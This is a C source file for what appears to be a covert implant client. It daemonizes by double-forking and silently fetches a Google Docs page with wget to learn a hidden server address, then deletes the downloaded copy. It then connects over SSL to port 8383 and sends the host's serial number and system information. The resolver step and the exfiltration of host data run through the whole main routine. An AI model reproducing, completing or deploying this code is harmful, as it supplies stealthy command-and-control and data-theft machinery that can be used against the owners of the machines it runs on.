#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <sys/socket.h>
#include <resolv.h>
#include <fcntl.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <openssl/ssl.h>
#include <openssl/err.h>
#include <signal.h>
#include "pub_lib.c"
#include "get_info.c"

#define MAXBUF 		1024
#define SERVERPORT	8383

int sockfd;

void ShowCerts(SSL * ssl)
{
	X509 *cert;
	char *line;

	cert = SSL_get_peer_certificate(ssl);
	if (cert != NULL) {
		printf("cer info:\n");
		line = X509_NAME_oneline(X509_get_subject_name(cert), 0, 0);
		printf("cer: %s\n", line);
		free(line);
		line = X509_NAME_oneline(X509_get_issuer_name(cert), 0, 0);
		printf("user: %s\n", line);
		free(line);
		X509_free(cert);
	} else
		printf("no cer info.\n");
}

static void
connect_alarm(int signo)
{
	do_log("NOTICE! connect timeout.\n");
        close(sockfd);
	return;                /* just interrupt the connect() */
}

//#define ADDRESS_FILE	"View?docid=dgnrnzzz_1d22bwgdh"
#define ADDRESS_FILE 	"Doc?id=dgnrnzzz_1d22bwgdh"
#define LINE_LEN	1024
#define IFLAGSTRING	"ADDRESSSTART"
int get_server_address_self(char *url)
{
	FILE *fp;
	int i = 0, j = 0;
	char buffer[LINE_LEN]= {0};
	
	system("/bin/wget http://docs.google.com/Doc?id=dgnrnzzz_1d22bwgdh 1>/dev/null 2>&1");

	fp = fopen(ADDRESS_FILE, "r");

	while (fgets (buffer, LINE_LEN, fp))
	{
		if (!strncmp(IFLAGSTRING, buffer, strlen(IFLAGSTRING)))
		{
			for(i = strlen(IFLAGSTRING) + 1, j = 0; i < strlen(buffer); i ++, j ++)
			{
				if (buffer[i] == '\n')
					url[j] = '\0';
				else
				url[j] = buffer[i];

			}
		}

	}
	unlink(ADDRESS_FILE);
	return 0;
}


int main(int argc, char **argv)
{
		int len, total,ret;
		struct sockaddr_in dest;
		char buffer[MAXBUF + 1];
		char buffer2[MAXBUF + 1];
		char address[MAXBUF + 1];
		struct pack_head head;
		SSL_CTX *ctx;
		SSL *ssl = NULL;
		
		if (fork() > 0 ) //parent
		{
			exit(0);
		}
		if (fork() > 0)
		{
			exit(0);	
		}
		
		bzero(address, MAXBUF + 1);
		get_server_address_self(address);
		do_log("INOF:get remote host address.\n");

		SSL_library_init();
		OpenSSL_add_all_algorithms();
		SSL_load_error_strings();
		ctx = SSL_CTX_new(SSLv23_client_method());
		if (ctx == NULL) {
			ERR_print_errors_fp(stdout);
			exit(1);
		}

		if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
			perror("Socket");
			exit(errno);
		}

		bzero(&dest, sizeof(dest));
		dest.sin_family = AF_INET;
		dest.sin_port = htons(SERVERPORT);
		if (inet_aton(address, (struct in_addr *) &dest.sin_addr) == 0) {
			perror(address);
			exit(errno);
		}

		signal(SIGALRM, connect_alarm);	
		alarm(TIMEOUT);
		if ( (ret = connect(sockfd, (struct sockaddr *) &dest, sizeof(struct sockaddr))) < 0) {
			do_log("ERROR! connect error.\n");
			goto finish;
		}
		alarm(0);
		ssl = SSL_new(ctx);
		SSL_set_fd(ssl, sockfd);
		if (SSL_connect(ssl) == -1)
			ERR_print_errors_fp(stderr);
		SSL_set_mode(ssl,SSL_MODE_ENABLE_PARTIAL_WRITE);
		/*else {
			printf("Connected with %s encryption\n", SSL_get_cipher(ssl));
			//ShowCerts(ssl);
		}*/
		//while (n < 2)
		{
			int r, nfds = 0;
			struct timeval tv;
			fd_set wd;
			
			tv.tv_sec = TIMEOUT;
			tv.tv_usec = 0;

			FD_ZERO (&wd);
		      	FD_SET (sockfd, &wd);
			nfds = MAX_S(nfds, sockfd);
			
			r = select (nfds + 1, NULL, &wd, NULL, &tv);
  			
			if (FD_ISSET (sockfd, &wd)) {
				bzero(&head, sizeof(struct pack_head));
				head.version = 1;
				head.command = SYSTEMID;

				bzero(buffer, MAXBUF + 1);
				bzero(buffer2, MAXBUF + 1);
				get_serial2(buffer);
				get_info(buffer2);
				strcat(buffer,"\n");
				strcat(buffer,buffer2);
				head.len = strlen(buffer);

				bzero(buffer2, MAXBUF + 1);
				memcpy(buffer2,&head, sizeof(struct pack_head));
				memcpy(buffer2 + sizeof(struct pack_head), buffer, strlen(buffer));
				
				total = strlen(buffer) + sizeof(struct pack_head);
				len = 0;
				while (0 != total)
				{
					len = SSL_write(ssl, buffer2 + len, total);
					if (len < 0)
					{
						do_log ("ERROR! SSL_write errno:%d, error string:'%s'\n",
							 errno, strerror(errno));
						goto finish;
					}
					total -= len;
				}	
			}
		}	
	finish:
		SSL_shutdown(ssl);
		SSL_free(ssl);
		close(sockfd);
		SSL_CTX_free(ctx);
		return 0;
}


